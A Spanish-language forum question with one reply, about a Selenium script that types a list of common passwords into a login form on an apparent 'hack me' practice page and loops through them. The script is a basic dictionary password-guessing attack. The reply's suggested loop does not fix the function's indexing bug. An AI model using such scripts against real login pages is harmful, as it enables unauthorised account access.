Tengo el siguiente código para insertar contraseñas en un sitio web.
require('chromedriver'); var webdriver = require('selenium-webdriver'); var driver = new webdriver.Builder() .forBrowser('chrome') .build(); driver.get('https://junusergin.github.io/hack-mich/login.html'); let dictionary = [123456, 123456789, 12345, "qwerty", "password", 12345678, 111111, 123123, 1234567890, 1234567, "qwerty123", "000000", "1q2w3e", "aa12345678", "abc123"]; function tryCombinations(combinations) { let index = 0; inputField = driver.findElement(webdriver.By.id('username')); driver.executeScript("arguments[0].setAttribute('value', 'test')", inputField); inputField = driver.findElement(webdriver.By.id('password')); driver.executeScript("arguments[0].setAttribute('value', '" + combinations[index] +"')", inputField); driver.findElement(webdriver.By.className('button')).click(); index++; }Si inicio el Script, pega la primera contraseña en el navegador. Ahora quiero poner cada contraseña de la matriz.
Para esto mi idea fue algo como esto:
dictionary.forEach(element => tryCombinations(element));¿Alguien sabe, por qué no funciona?
reemplace el diccionario foreach con este
for (var i in dictionary) { tryCombinations(dictionary[i]); }